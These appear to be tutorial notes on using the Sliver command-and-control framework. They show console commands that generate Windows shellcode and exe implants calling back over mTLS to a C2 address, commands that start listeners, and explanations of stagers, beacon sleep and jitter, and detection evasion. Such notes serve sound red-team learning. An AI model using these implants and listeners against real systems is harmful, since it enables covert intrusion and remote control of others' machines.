Implants
PROFILE
Profiles are sorts of Implant blueprints that define a configuration to be reused by the profiles new command. we should configure the protocol we would like to use for that profile (ex. --mtls). Also we have different --format, in the end without any parameter is name of profiles (ex. win-shellcode or dc01-pivot)
sliver > profiles new --mtls 13.13.13.13 --format shellcode win-shellcode
sliver > profiles new --mtls 13.13.13.13:8888 --format exe --arch amd64 --os windows dc01-pivotGenerating the implant based on profiles
sliver > profiles generate dc01-pivot --save /home/user/To use command with using profiles, you just nee to use profiles and then the command, so that command becomes a sub-command.
LISTENER
Before you can catch the shell, you'll first need to start a listener. You use the commands mtls, http, https, and dns to start listeners for each protocol. You can use the jobs command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
sliver > http -L 13.13.13.13 -l 8088
sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ======= ===============
1 grpc tcp 31337
2 http tcp 8088STAGER
Stagers are used to: keep payload smalls, appear non malicious, and avoid detection. This will keep things nice and simple and will reduce the complexity of our payloads.
Sliver supports the meterpreter staging protocol over TCP and HTTP(S). This protocol is pretty straight forward:
read the size of the stage 2 payload on the wire (the first 4 bytes for the TCP stager)
download the stage 2
allocate the size read in the first step, and write the stage in memory
For this to work, we need the following pieces:
a staging server (the Sliver server)
a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
stagers (generated by
msfvenom, the Slivergenerate stagercommand, or a custom one)
SESSION
The use command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the use command with no arguments will enter an interactive menu to select from.
When you are done with the session, run background. The session will of course remain active.
BEACON
Implants in beacon mode are generated using protocols like mTLS, HTTP(s), or DNS to provide asynchronous C2. Unlike sessions, beacons sleep between callbacks to minimize the network footprint. While --skip-symbols reduces file size by removing obfuscation, it significantly increases the risk of detection by endpoint security solutions.
Upon execution, the beacon registers with the C2 server, assigning a unique ID to that specific process. This ID persists through the life of the implant. The "Next Check-in" time is calculated using the sleep interval (--seconds 5) plus a random variance (--jitter 3), preventing a predictable heartbeat. Use beacons to track these check-ins in real-time and use to connect to it.
You should see a blue prompt indicating that we're interacting with a beacon as opposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
Tasks will execute in the order they were created (FIFO).
Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the tasks command:
You can use the interactive command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
When you're done using the interactive session use the close command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
COMMANDS & TOOLS
When we are connected to beacon or session, sliver gives us plenty of commands and tools we can use to use, for seeing them type help, and to check specific tool info use help cat or cat --help. Some commands would work for certain OS, some are versatile.
Last updated